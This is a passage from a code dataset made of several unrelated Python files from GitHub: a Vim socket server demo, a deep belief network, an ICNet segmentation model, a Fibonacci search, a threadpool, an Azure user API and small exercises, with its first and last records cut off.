cv.INTER_LINEAR\n\n if h >= w:\n scale = size / w\n else:\n scale = size / h\n image = cv.resize(image, None, fx=scale, fy=scale, interpolation=inter_fn)\n\n return image\n\n\ndef letterbox_image(image, return_padding=False):\n \"\"\"\n 为保持h,w的一致,对图片短边两侧进行等距离padding\n \"\"\"\n h, w = image.shape[:2]\n\n if h > w:\n p = int((h - w) // 2)\n image = cv.copyMakeBorder(image, 0, 0, p, (h - w - p), cv.BORDER_CONSTANT, value=0)\n else:\n p = int((w - h) // 2)\n image = cv.copyMakeBorder(image, p, (w - h - p), 0, 0, cv.BORDER_CONSTANT, value=0)\n\n if return_padding:\n return image, p\n else:\n return image\n\n\ndef SineAnnealingLR(opt, t_max):\n \"\"\"\n sine学习率变化\n \"\"\"\n\n lr_lambda = lambda x: (1 + math.cos(math.pi * x / t_max + math.pi)) * 0.5\n lr_sine = torch.optim.lr_scheduler.LambdaLR(opt, lr_lambda=lr_lambda)\n return lr_sine","repo_name":"MadaoFY/siamese_pytorch","sub_path":"utils/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"10229272984","text":"#!/usr/bin/python\n#\n# This is a modified version of a demo socket server provide\n# in vim 8.0.\n#\n# Server that will accept connections from a Vim channel.\n# Run this server and then in Vim you can open the channel:\n# :let handle = ch_open('localhost:8765')\n#\n# Then Vim can send requests to the server:\n# :let response = ch_sendexpr(handle, 'hello!')\n#\n# And you can control Vim by typing a JSON message here, e.g.:\n# [\"ex\",\"echo 'hi there'\"]\n#\n# There is no prompt, just type a line and press Enter.\n# To exit cleanly type \"quit\".\n#\n# See \":help channel-demo\" in Vim.\n#\n# This requires Python 2.6 or later.\n\nfrom __future__ import print_function\nimport json\nimport socket\nimport sys\nimport threading\nimport getopt\nimport time\n\ntry:\n # Python 3\n import socketserver\nexcept ImportError:\n # Python 2\n import SocketServer as socketserver\n\nclass ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n pass\n\nSEND_TO_VIM = \"send_to_vim\"\nHOST, PORT = \"localhost\", 8765\nsocket_array = [];\n\nclass ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):\n\n def handle(self):\n print(\"=== socket opened ===\")\n global socket_array\n socket_array.append(self.request)\n while True:\n try:\n data = self.request.recv(4096).decode('utf-8')\n except socket.error:\n print(\"=== socket error ===\")\n break\n except IOError:\n print(\"=== socket closed ===\")\n break\n if data == '':\n print(\"=== socket closed ===\")\n break\n print(\"received: {0}\".format(data))\n try:\n decoded = json.loads(data)\n except ValueError:\n print(\"json decoding failed\")\n decoded = [-1, '']\n\n if decoded[0] == SEND_TO_VIM:\n # Sending to vim\n encoded = json.dumps([decoded[1],decoded[2]])\n print(\"sending {0}\".format(encoded))\n for s in socket_array:\n s.sendall(encoded.encode('utf-8'))\n elif decoded[0] >= 0:\n # Sent from vim\n # Send a response if the sequence number is positive.\n # Negative numbers are used for \"eval\" responses.\n if decoded[1] == 'hello!':\n response = \"got it\"\n else:\n response = \"what?\"\n encoded = json.dumps([decoded[0], response])\n print(\"sending {0}\".format(encoded))\n self.request.sendall(encoded.encode('utf-8'))\n\n socket_array.remove(self.request)\n\ndef run_vim_server(debug):\n server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler)\n ip, port = server.server_address\n\n # Start a thread with the server -- that thread will then start one\n # more thread for each request\n server_thread = threading.Thread(target=server.serve_forever)\n\n # Exit the server thread when the main thread terminates\n server_thread.daemon = True\n server_thread.start()\n print(\"Server loop running in thread: \", server_thread.name)\n\n print(\"Listening on port {0}\".format(PORT))\n while True:\n if debug is True:\n typed = sys.stdin.readline()\n if \"quit\" in typed:\n print(\"Goodbye!\")\n break\n print(\"sending {0}\".format(typed))\n for s in socket_array:\n s.sendall(typed.encode('utf-8'))\n else:\n time.sleep(10)\n\n server.shutdown()\n server.server_close()\n\ndef args_print_usage():\n print(\"Usage : python vim-server.py\")\n print(\"-h : help\")\n print(\"--debug : Enable debugging and manually send command to vim\")\n\ndef args_read(argv):\n debug = False;\n try:\n opts, args = getopt.getopt(argv,\"h\",[\"debug\"])\n except getopt.GetoptError:\n args_print_usage()\n sys.exit(1)\n for opt, arg in opts:\n if opt == '-h':\n args_print_usage()\n sys.exit()\n elif opt in (\"--debug\"):\n debug = True\n\n return debug\n\nif __name__ == \"__main__\":\n debug = args_read(sys.argv[1:]) \n run_vim_server(debug) \n\n# TODO List\n# -In args_read : Add -p option to chose port.\n# -Change print for log into file.\n\n\n\n","repo_name":"mtiudaeu/old_stuff_archive","sub_path":"dockers/linux-environment/.md_env_script/vim-server.py","file_name":"vim-server.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40549064604","text":"from ..RBM.RBM_base import RBM_Model\nimport numpy as np\nfrom scipy.special import expit\n\nclass DBN_Model:\n\tdef __init__(self, n_visible, hidden_array, lr=0.001, optim='adam', k=5, batch_size=32, epochs=10):\n\t\tself.hidden_array = [n_visible]+hidden_array\n\t\tself.n_visible = n_visible\n\t\tself.lr = lr\n\t\tself.optim = optim\n\t\tself.k = k\n\t\tself.batch_size = batch_size\n\t\tself.epochs = epochs\n\t\tself.model_array = []\n\t\tself.epsilon = 1e-6\n\n\tdef sample_h(self, x, model):\n\t\tz = np.dot(x, model['W'].T) + model['hb']\n\t\tp_h_given_v = expit(-z)\n\t\trandom_sample = np.random.uniform(low=0.0, high=1.0, size=p_h_given_v.shape)\n\t\tsampled_h = (random_sample\\d+)/$',\n views.RetrieveUpdateDestroyUser.as_view(),\n name=\"specific user details\"\n ),\n]\n","repo_name":"hkdahal/Un-BreakiFi","sub_path":"MyAPI/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21439543930","text":"#x**2 - sin(2x)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef func(x):\n f = x**2-2*x+1\n return f\n\ndef fibonaci_broj(n):\n if n<3:\n f = 1\n else:\n fp = 1\n fpp =1\n for i in range(3,n+1):\n f = fp+fpp\n fpp = fp\n fp = f\n return f\n\ndef fibonaci_metod(a,b,tol):\n n = 1\n while (abs(b-a)/tol) > fibonaci_broj(n):\n n+=1\n \n print(n,fibonaci_broj(n))\n\n x1 = a + fibonaci_broj(n-2)/fibonaci_broj(n)*(b-a)\n x2 = a + b - x1\n\n for i in range(2,n+1):\n if(func(x1)>func(x2)):\n a = x1\n x1 = x2\n x2 = a + b - x1\n else:\n b = x2\n x2 = x1\n x1 = a + b - x2\n \n if(func(x1) < func(x2)):\n x_opt = x1\n f_opt = func(x_opt)\n else:\n x_opt = x2\n f_opt = func(x_opt)\n \n return x_opt,f_opt,n\n\na = -1\nb = 3\ntol = 0.1\n[x_opt,f_opt,n] = fibonaci_metod(a,b,tol)\nprint(x_opt,f_opt,n)\n\nx = np.linspace(0, 2, 1000)\nf = np.linspace(0,0,len(x))\n\nfor i in range(0,len(x)):\n f[i] = func(x[i])\n\np = plt.plot(x,f,'b--')\np = plt.plot(x_opt,f_opt, '*r', markersize=20)\np = plt.show()","repo_name":"boriscu/MetodeOptimizacije","sub_path":"Fibonacci.py","file_name":"Fibonacci.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34382761470","text":"\"\"\"\nA threadpool to process incomming messages over MPI with a fixed number of\n(already running) threads.\n\nBased on threadpool implementation found at http://stackoverflow.com/\nquestions/3033952/python-thread-pool-similar-to-the-multiprocessing-pool\n\"\"\"\ntry:\n import queue as queue\nexcept ImportError:\n import queue\nfrom threading import Thread\n\nclass Worker(Thread):\n \"\"\"Thread executing tasks from a given tasks queue\"\"\"\n def __init__(self, tasks):\n \"\"\"\n Constructor\n\n :param tasks: queue containing tasks to execute\n \"\"\"\n Thread.__init__(self)\n self.tasks = tasks\n self.daemon = True\n self.start()\n\n def run(self):\n \"\"\"\n Run the worker thread\n \"\"\"\n while 1:\n func, args, kargs = self.tasks.get()\n try:\n func(*args, **kargs)\n except Exception as e:\n print(e)\n finally:\n self.tasks.task_done()\n\nclass ThreadPool(object):\n \"\"\"Pool of threads consuming tasks from a queue\"\"\"\n def __init__(self, num_threads):\n \"\"\"\n Constructor\n\n :param num_threads: number of threads to start\n \"\"\"\n self.tasks = queue.Queue()\n self.num_threads = num_threads\n for _ in range(num_threads): \n Worker(self.tasks)\n\n def __setstate__(self, state):\n \"\"\"\n For pickling\n \"\"\"\n # Obj will be empty, accept it though\n self.__init__(state)\n\n def __getstate__(self):\n \"\"\"\n For pickling\n \"\"\"\n # A queue is unpicklable...\n return self.num_threads\n\n def add_task(self, func, *args, **kwargs):\n \"\"\"\n Add a task to the queue\n\n :param func: function to execute\n \"\"\"\n self.tasks.put((func, args, kwargs))\n","repo_name":"capocchi/DEVSimPy","sub_path":"DEVSKernel/PyPDEVS/pypdevs221/src/threadpool.py","file_name":"threadpool.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"7"} +{"seq_id":"72853052702","text":"_base_ = 'knet_s3_upernet_swin-t_8x2_512x512_adamw_80k_ade20k.py'\n\ncheckpoint_file = 'https://download.openmmlab.com/mmsegmentation/v0.5/pretrain/swin/swin_large_patch4_window7_224_22k_20220308-d5bdebaf.pth' # noqa\n# model settings\nmodel = dict(\n pretrained=checkpoint_file,\n backbone=dict(\n embed_dims=192,\n depths=[2, 2, 18, 2],\n num_heads=[6, 12, 24, 48],\n window_size=7,\n use_abs_pos_embed=False,\n drop_path_rate=0.3,\n patch_norm=True),\n decode_head=dict(\n kernel_generate_head=dict(in_channels=[192, 384, 768, 1536])),\n auxiliary_head=dict(in_channels=768))\n# In K-Net implementation we use batch size 2 per GPU as default\ndata = dict(samples_per_gpu=2, workers_per_gpu=2)\n","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"PyTorch/built-in/cv/semantic_segmentation/BiseNetV1_for_PyTorch/configs/knet/knet_s3_upernet_swin-l_8x2_512x512_adamw_80k_ade20k.py","file_name":"knet_s3_upernet_swin-l_8x2_512x512_adamw_80k_ade20k.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"11212812213","text":"from typing import Optional, List\n\nimport tensorflow as tf\n\nfrom src.model.building_blocks.encoding import atrous_pyramid_encoder\nfrom src.model.building_blocks.pyramid_pooling import pyramid_pool_fusion\nfrom src.model.layers.conv import downsample_conv2d, dim_hold_conv2d, \\\n bottleneck_conv2d\nfrom src.model.layers.interpolation import downsample_bilinear, \\\n upsample_bilinear\nfrom src.model.losses.cascade import cascade_loss\nfrom src.model.network import Network, BlockOutput, NetworkOutput, RequiredNodes\n\n\nclass ICNetV12(Network):\n\n @staticmethod\n def __get_default_config() -> dict:\n return {\n 'lambda_1': 1.0,\n 'lambda_2': 1.0,\n 'lambda_3': 1.0\n }\n\n def __init__(self,\n output_classes: int,\n image_mean: Optional[List[float]] = None,\n ignore_labels: Optional[List[int]] = None,\n config: Optional[dict] = None):\n super().__init__(\n output_classes=output_classes,\n image_mean=image_mean,\n ignore_labels=ignore_labels,\n config=config)\n if config is None:\n config = ICNetV12.__get_default_config()\n self._config = config\n self._labmda_1 = config['lambda_1']\n self._lambda_2 = config['lambda_2']\n self._lambda_3 = config['lambda_3']\n\n def feed_forward(self,\n x: tf.Tensor,\n is_training: bool = True,\n nodes_to_return: RequiredNodes = None\n ) -> NetworkOutput:\n if self._image_mean is not None:\n x -= self._image_mean\n x = tf.math.divide(x, 255.0)\n big_branch_output = self.__big_images_branch(\n x=x,\n is_training=is_training\n )\n half_size_input = downsample_bilinear(x=x, shrink_factor=2)\n medium_branch_common = self.__medium_branch_head(\n x=half_size_input,\n is_training=is_training\n )\n medium_branch_tail = self.__medium_branch_tail(\n x=medium_branch_common,\n is_training=is_training\n )\n small_branch_output = self.__small_branch(\n x=medium_branch_common,\n is_training=is_training\n )\n medium_small_fusion = self.__medium_small_branch_fusion(\n small_branch_output=small_branch_output,\n medium_branch_output=medium_branch_tail,\n is_training=is_training\n )\n big_medium_fusion = self.__big_medium_branch_fusion(\n fused_medium_branch=medium_small_fusion,\n big_branch_outtput=big_branch_output,\n is_training=is_training\n )\n cls = self.__prediction_branch(big_medium_fusion=big_medium_fusion)\n cls_up = upsample_bilinear(\n x=cls,\n zoom_factor=4\n )\n out = tf.math.argmax(cls_up, axis=3, output_type=tf.dtypes.int32)\n return self._construct_output(\n feedforward_output=out,\n nodes_to_return=nodes_to_return\n )\n\n def training_pass(self,\n x: tf.Tensor,\n y: tf.Tensor\n ) -> tf.Operation:\n nodes_to_return = ['medium_small_fusion', 'big_medium_fusion', 'cls']\n model_output = self.feed_forward(\n x=x,\n is_training=True,\n nodes_to_return=nodes_to_return\n )\n medium_small_fusion = model_output['medium_small_fusion']\n big_medium_fusion = model_output['big_medium_fusion']\n cls = model_output['cls']\n medium_small_fusion = bottleneck_conv2d(\n x=medium_small_fusion,\n num_filters=self._output_classes,\n activation=None,\n name='medium_small_fusion_cls'\n )\n big_medium_fusion = bottleneck_conv2d(\n x=big_medium_fusion,\n num_filters=self._output_classes,\n activation=None,\n name='big_medium_fusion_cls'\n )\n cls_outputs = [medium_small_fusion, big_medium_fusion, cls]\n cls_weights = [self._labmda_1, self._lambda_2, self._lambda_3]\n return cascade_loss(\n cascade_output_nodes=cls_outputs,\n y=y,\n loss_weights=cls_weights,\n labels_to_ignore=self._ignore_labels\n )\n\n def infer(self, x: tf.Tensor) -> NetworkOutput:\n return self.feed_forward(\n x=x,\n is_training=False\n )\n\n @Network.Block.output_registered('h1_sub3_bn')\n def __big_images_branch(self,\n x: tf.Tensor,\n is_training: bool = True) -> tf.Tensor:\n h1_sub1 = downsample_conv2d(\n x=x,\n num_filters=8,\n kernel_size=(3, 3),\n name='h1_sub1'\n )\n h1_sub2 = downsample_conv2d(\n x=h1_sub1,\n num_filters=16,\n kernel_size=(3, 3),\n name='h1_sub2'\n )\n h1_sub3 = downsample_conv2d(\n x=h1_sub2,\n num_filters=64,\n kernel_size=(3, 3),\n name='h1_sub3'\n )\n return tf.layers.batch_normalization(\n inputs=h1_sub3,\n training=is_training,\n name='h1_sub3_bn'\n )\n\n @Network.Block.output_registered('h2_sub3_bn')\n def __medium_branch_head(self,\n x: tf.Tensor,\n is_training: bool\n ) -> tf.Tensor:\n h2_sub1 = downsample_conv2d(\n x=x,\n num_filters=16,\n kernel_size=(3, 3),\n name='h2_sub1'\n )\n h2_conv1 = dim_hold_conv2d(\n x=h2_sub1,\n num_filters=16,\n kernel_size=(3, 3),\n name='h2_conv1'\n )\n h2_conv1_bn = tf.layers.batch_normalization(\n inputs=h2_conv1,\n training=is_training,\n name='h2_conv1_bn'\n )\n h2_sub2 = downsample_conv2d(\n x=h2_conv1_bn,\n num_filters=32,\n kernel_size=(3, 3),\n name='h2_sub2'\n )\n h2_conv2 = dim_hold_conv2d(\n x=h2_sub2,\n num_filters=64,\n kernel_size=(3, 3),\n name='h2_conv2'\n )\n return tf.layers.batch_normalization(\n inputs=h2_conv2,\n training=is_training,\n name='h2_conv2_bn'\n )\n\n @Network.Block.output_registered('h2_add')\n def __medium_branch_tail(self,\n x: tf.Tensor,\n is_training: bool\n ) -> tf.Tensor:\n h2_fs1 = bottleneck_conv2d(\n x=x,\n num_filters=64,\n name='h2_fs1'\n )\n h2_fs_bn = tf.layers.batch_normalization(\n inputs=h2_fs1,\n training=is_training,\n name='h2_fs_bn'\n )\n h2_conv3 = dim_hold_conv2d(\n x=h2_fs_bn,\n num_filters=128,\n kernel_size=(3, 3),\n name='h2_conv3'\n )\n h2_fs2 = bottleneck_conv2d(\n x=h2_conv3,\n num_filters=64,\n name='h2_fs2'\n )\n h2_conv4 = dim_hold_conv2d(\n x=h2_fs2,\n num_filters=128,\n kernel_size=(3, 3),\n name='h2_conv4'\n )\n h2_fs3 = bottleneck_conv2d(\n x=h2_conv4,\n num_filters=64,\n name='h2_fs3'\n )\n fuse = h2_fs1 + h2_fs3\n fuse_bn = tf.layers.batch_normalization(\n inputs=fuse,\n training=is_training,\n name='fuse_bn'\n )\n pp1 = pyramid_pool_fusion(\n x=fuse_bn,\n windows_shapes=[2, 3, 5],\n fuse_filters=128,\n name='h2_pp1'\n )\n dilated_block1 = atrous_pyramid_encoder(\n x=pp1,\n output_filters=128,\n pyramid_heads_dilation_rate=[1, 2, 4, 8],\n use_residual_connection=False,\n name='h2_dilation_block'\n )\n h2_dilated_block1_bn = tf.layers.batch_normalization(\n inputs=dilated_block1,\n training=is_training,\n name='h2_dilated_block1_bn'\n )\n h2_fs4 = bottleneck_conv2d(\n x=h2_dilated_block1_bn,\n num_filters=64,\n name='h2_fs4'\n )\n h2_conv5 = dim_hold_conv2d(\n x=h2_fs4,\n num_filters=128,\n kernel_size=(3, 3),\n name='h2_conv5'\n )\n h2_fs5 = bottleneck_conv2d(\n x=h2_conv5,\n num_filters=64,\n name='h2_fs5'\n )\n h2_conv6 = dim_hold_conv2d(\n x=h2_fs5,\n num_filters=256,\n kernel_size=(3, 3),\n name='h2_conv6'\n )\n h2_fs6 = bottleneck_conv2d(\n x=h2_conv6,\n num_filters=128,\n name='h2_fs6'\n )\n return tf.math.add(h2_fs6, pp1, name='h2_add')\n\n @Network.Block.output_registered('h3_add6_bn')\n def __small_branch(self, x: tf.Tensor, is_training: bool) -> tf.Tensor:\n h3_fs1 = bottleneck_conv2d(x=x, num_filters=64, name='h3_fs1')\n h3_fs1_bn = tf.layers.batch_normalization(\n inputs=h3_fs1,\n training=is_training,\n name='h3_fs1_bn'\n )\n h3_pp1 = pyramid_pool_fusion(\n x=h3_fs1_bn,\n windows_shapes=[2, 3, 5],\n fuse_filters=128,\n name='h2_pp1'\n )\n h3_fs2 = bottleneck_conv2d(x=h3_pp1, num_filters=64, name='h3_fs2')\n h3_conv1 = dim_hold_conv2d(\n x=h3_fs2,\n num_filters=128,\n kernel_size=(3, 3),\n name='h3_conv1'\n )\n h3_fs3 = bottleneck_conv2d(x=h3_conv1, num_filters=64, name='h3_fs3')\n h3_conv2 = dim_hold_conv2d(\n x=h3_fs3,\n num_filters=256,\n kernel_size=(3, 3),\n name='h3_conv2'\n )\n h3_fs4 = bottleneck_conv2d(x=h3_conv2, num_filters=128, name='h3_fs4')\n h3_add1 = tf.math.add(h3_pp1, h3_fs4, name='h3_add1')\n h3_conv3 = dim_hold_conv2d(\n x=h3_add1,\n num_filters=256,\n kernel_size=(3, 3),\n name='h3_conv3'\n )\n h3_fs5 = bottleneck_conv2d(x=h3_conv3, num_filters=128, name='h3_fs5')\n h3_fs5_bn = tf.layers.batch_normalization(\n inputs=h3_fs5,\n training=is_training,\n name='h3_fs5_bn'\n )\n\n h3_pp2 = pyramid_pool_fusion(\n x=h3_fs5_bn,\n windows_shapes=[2, 3, 5],\n fuse_filters=256,\n name='h3_pp2'\n )\n h3_dilated_block_1 = atrous_pyramid_encoder(\n x=h3_pp2,\n output_filters=256,\n pyramid_heads_dilation_rate=[1, 2, 4, 8],\n use_residual_connection=False,\n name='h3_dilation_block_1'\n )\n h3_dilated_block_1_bn = tf.layers.batch_normalization(\n inputs=h3_dilated_block_1,\n training=is_training,\n name='h3_dilated_block_1_bn'\n )\n h3_fs6 = bottleneck_conv2d(\n x=h3_dilated_block_1_bn,\n num_filters=64,\n name='h3_fs6'\n )\n h3_conv4 = dim_hold_conv2d(\n x=h3_fs6,\n num_filters=256,\n kernel_size=(3, 3),\n name='h3_conv4'\n )\n h3_fs7 = bottleneck_conv2d(\n x=h3_conv4,\n num_filters=64,\n name='h3_fs7'\n )\n h3_conv5 = dim_hold_conv2d(\n x=h3_fs7,\n num_filters=512,\n kernel_size=(3, 3),\n name='h3_conv5'\n )\n h3_fs8 = bottleneck_conv2d(\n x=h3_conv5,\n num_filters=256,\n name='h3_fs8'\n )\n h3_add2 = tf.math.add(h3_pp2, h3_fs8, name='h3_add2')\n h3_add2_bn = tf.layers.batch_normalization(\n inputs=h3_add2,\n training=is_training,\n name='h3_add2_bn'\n )\n\n h3_fs9 = bottleneck_conv2d(\n x=h3_add2_bn,\n num_filters=128,\n name='h3_fs9'\n )\n h3_conv6 = dim_hold_conv2d(\n x=h3_fs9,\n num_filters=512,\n kernel_size=(3, 3),\n name='h3_conv6'\n )\n h3_fs10 = bottleneck_conv2d(\n x=h3_conv6,\n num_filters=128,\n name='h3_fs10'\n )\n h3_add3 = tf.math.add(h3_fs9, h3_fs10, name='h3_add3')\n h3_add3_bn = tf.layers.batch_normalization(\n inputs=h3_add3,\n training=is_training,\n name='h3_add3_bn'\n )\n h3_conv7 = dim_hold_conv2d(\n x=h3_add3_bn,\n num_filters=512,\n kernel_size=(3, 3),\n name='h3_conv7'\n )\n h3_fs11 = bottleneck_conv2d(\n x=h3_conv7,\n num_filters=128,\n name='h3_fs11'\n )\n h3_conv8 = dim_hold_conv2d(\n x=h3_fs11,\n num_filters=512,\n kernel_size=(3, 3),\n name='h3_conv8'\n )\n h3_fs12 = bottleneck_conv2d(\n x=h3_conv8,\n num_filters=128,\n name='h3_fs12'\n )\n h3_add4 = tf.math.add(h3_fs12, h3_add3_bn, name='h3_add4')\n h3_add4_bn = tf.layers.batch_normalization(\n inputs=h3_add4,\n training=is_training,\n name='h3_add4_bn'\n )\n h3_conv9 = dim_hold_conv2d(\n x=h3_add4_bn,\n num_filters=768,\n kernel_size=(3, 3),\n name='h3_conv9'\n )\n h3_fs13 = bottleneck_conv2d(\n x=h3_conv9,\n num_filters=128,\n name='h3_fs13'\n )\n h3_conv10 = dim_hold_conv2d(\n x=h3_fs13,\n num_filters=768,\n kernel_size=(3, 3),\n name='h3_conv10'\n )\n h3_fs14 = bottleneck_conv2d(\n x=h3_conv10,\n num_filters=128,\n name='h3_fs14'\n )\n h3_add5 = tf.math.add(h3_fs14, h3_add4_bn, name='h3_add5')\n h3_add5_bn = tf.layers.batch_normalization(\n inputs=h3_add5,\n training=is_training,\n name='h3_add5_bn'\n )\n h3_conv11 = dim_hold_conv2d(\n x=h3_add5_bn,\n num_filters=1024,\n kernel_size=(3, 3),\n name='h3_conv11'\n )\n h3_fs15 = bottleneck_conv2d(\n x=h3_conv11,\n num_filters=256,\n name='h3_fs15'\n )\n h3_conv12 = dim_hold_conv2d(\n x=h3_fs15,\n num_filters=1024,\n kernel_size=(3, 3),\n name='h3_conv12'\n )\n h3_fs16 = bottleneck_conv2d(\n x=h3_conv12,\n num_filters=256,\n name='h3_fs16'\n )\n h3_add6 = tf.math.add(h3_fs15, h3_fs16, name='h3_add6')\n return tf.layers.batch_normalization(\n inputs=h3_add6,\n training=is_training,\n name='h3_add6_bn'\n )\n\n @Network.Block.output_registered('medium_small_fusion')\n def __medium_small_branch_fusion(self,\n small_branch_output: tf.Tensor,\n medium_branch_output: tf.Tensor,\n is_training: bool) -> tf.Tensor:\n return self.__cascade_fusion_block(\n smaller_input=small_branch_output,\n bigger_input=medium_branch_output,\n is_training=is_training,\n output_filters=64,\n base_name='medium_small_fusion'\n )\n\n @Network.Block.output_registered('big_medium_fusion')\n def __big_medium_branch_fusion(self,\n fused_medium_branch: tf.Tensor,\n big_branch_outtput: tf.Tensor,\n is_training: bool) -> tf.Tensor:\n return self.__cascade_fusion_block(\n smaller_input=fused_medium_branch,\n bigger_input=big_branch_outtput,\n is_training=is_training,\n output_filters=64,\n base_name='big_medium_fusion'\n )\n\n @Network.Block.output_registered('cls')\n def __prediction_branch(self,\n big_medium_fusion: tf.Tensor\n ) -> tf.Tensor:\n quater_size_output = upsample_bilinear(\n x=big_medium_fusion,\n zoom_factor=2\n )\n return dim_hold_conv2d(\n x=quater_size_output,\n num_filters=self._output_classes,\n kernel_size=(3, 3),\n activation=None,\n name='cls'\n )\n\n def __cascade_fusion_block(self,\n smaller_input: tf.Tensor,\n bigger_input: tf.Tensor,\n is_training: bool,\n output_filters: int,\n base_name: str,\n ) -> tf.Tensor:\n upsampled = upsample_bilinear(\n x=smaller_input,\n zoom_factor=2\n )\n upsampled = dim_hold_conv2d(\n x=upsampled,\n num_filters=output_filters,\n kernel_size=(3, 3),\n name=f'{base_name}/fusion_conv'\n )\n upsampled_bn = tf.layers.batch_normalization(\n inputs=upsampled,\n training=is_training,\n name=f'{base_name}/fusion_conv_bn'\n )\n bigger_input = bottleneck_conv2d(\n x=bigger_input,\n num_filters=output_filters,\n name=f'{base_name}/bigger_input_fs'\n )\n out = tf.math.add(upsampled_bn, bigger_input, name=f'{base_name}/add')\n return tf.nn.relu(out, name=f'{base_name}/relu')\n","repo_name":"PawelPeczek/SemanticSegmentationToolkit","sub_path":"src/model/predefined/ic_net_v12.py","file_name":"ic_net_v12.py","file_ext":"py","file_size_in_byte":17818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41498045353","text":"import multiprocessing as mp\nimport numpy as np\nimport time\n\n\"\"\"\nhttps://stackoverflow.com/questions/10721915/\nshared-memory-objects-in-multiprocessing/10724332#10724332\n\nhttps://stackoverflow.com/questions/5549190/\nis-shared-readonly-data-copied-to-different-processes-for-multiprocessing/5550156#5550156\n\"\"\"\n\n\ndef convert_mp_to_np(mp_array):\n return np.ctypeslib.as_array(mp_array.get_obj())\n\n\ndef worker0(mp_ary, pipe0):\n import time\n\n time.sleep(1)\n\n ary = convert_mp_to_np(mp_ary)\n print(0, ary)\n\n pipe0.send(True)\n # pipe1.recv()\n\n mp_ary[:] = np.ones(3, dtype=np.float32)\n\n\ndef worker1(mp_ary, pipe1):\n # pipe0.send(True)\n pipe1.recv() # wait worker0\n\n ary = convert_mp_to_np(mp_ary)\n print(1, ary)\n\n\ndef run_mp():\n\n np_type = np.ctypeslib.as_ctypes_type(np.float32)\n mp_ary = mp.Array(np_type, 3)\n pipe0, pipe1 = mp.Pipe()\n\n process = [mp.Process(target=worker0, args=(mp_ary, pipe0)),\n mp.Process(target=worker1, args=(mp_ary, pipe1))]\n [p.start() for p in process]\n [p.join() for p in process]\n\n\nif __name__ == '__main__':\n run_mp()\n\n\n","repo_name":"Yonv1943/Python","sub_path":"Demo/DEMO_mp_Array_Pipe.py","file_name":"DEMO_mp_Array_Pipe.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":619,"dataset":"github-code","pt":"7"} +{"seq_id":"4230502956","text":"'''\n\n# Search RESTful API for fetching the users list registered through the portal\nAuthor:- Ajit Jadhav\n\n'''\nimport logging\nfrom bson.json_util import dumps\nimport os\nimport sys\nimport json\nimport azure.functions as func\ndirectory = os.path.dirname(__file__)\nsys.path.insert(0, directory)\n\nfrom Custom import Docs as document\ndef get_users(database_name, collection_name, query={}):\n database_client = document.Database(database_name)\n users = database_client.fetch_documents(\n collection_name, query, {'_id': 0})\n return users\n\n\ndef add_user_data(database_name, collection_name, user_data={}):\n client = document.Database(database_name)\n if user_data:\n status = client.inject_data('users', user_data)\n return status\n else:\n return 'fail'\n\n\ndef main(req: func.HttpRequest) -> func.HttpResponse:\n headers = {}\n headers['Access-Control-Allow-Headers'] = '*'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Content-Type'] = 'application/json'\n logging.info('Python HTTP trigger function processed a request.')\n if req.method == 'OPTIONS':\n return func.HttpResponse(dumps({}), status_code=200, headers=headers)\n if req.method == 'GET':\n params_body = req.params\n if params_body:\n logging.info(params_body)\n users = get_users('election', 'users', params_body)\n return func.HttpResponse(dumps({'users': users}), status_code=200, headers=headers)\n else:\n logging.info(params_body)\n all_users = get_users('election', 'users')\n response_data = {}\n response_data['user_count'] = len(all_users)\n state_wise_count = {}\n for user in all_users:\n if user['birthState'] in state_wise_count:\n state_wise_count[user['birthState']] += 1\n else:\n state_wise_count[user['birthState']] = 1\n response_data['state_wise_count'] = state_wise_count\n # response_data['users'] = all_users\n return func.HttpResponse(dumps(response_data), status_code = 200, headers = headers)\n elif req.method == 'POST':\n req_body = req.get_json()\n status = add_user_data('election', 'users', req_body)\n if status == 'success':\n return func.HttpResponse(dumps({'status': 'created'}), status_code=201, headers=headers)\n else:\n return func.HttpResponse(dumps({'status': 'failed'}), status_code=501, headers=headers)\n else:\n return func.HttpResponse('failed', status_code=404, headers=headers)\n","repo_name":"ajit1411/election-commission-api","sub_path":"users/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"5172804580","text":"#For these activities use the Reborg World in the website provided\n#https://reeborg.ca/reeborg.html?lang=en&mode=python&menu=worlds%2Fmenus%2Freeborg_intro_en.json&name=Hurdle%201&url=worlds%2Ftutorial_en%2Fhurdle1.json\n\ndef turn_right():\n turn_left()\n turn_left()\n turn_left()\n\ndef turn_around():\n turn_left()\n turn_left()\n \ndef pattern_1():\n move()\n turn_left()\n turn_around\n move()\n turn_right()\n move()\n turn_right()\n move()\n turn_left()\n \nfor n in range(0,6):\n pattern_1()","repo_name":"poojithmalla8/Python_BootCamp","sub_path":"Day_6/hurdle_loop.py","file_name":"hurdle_loop.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27449084627","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom 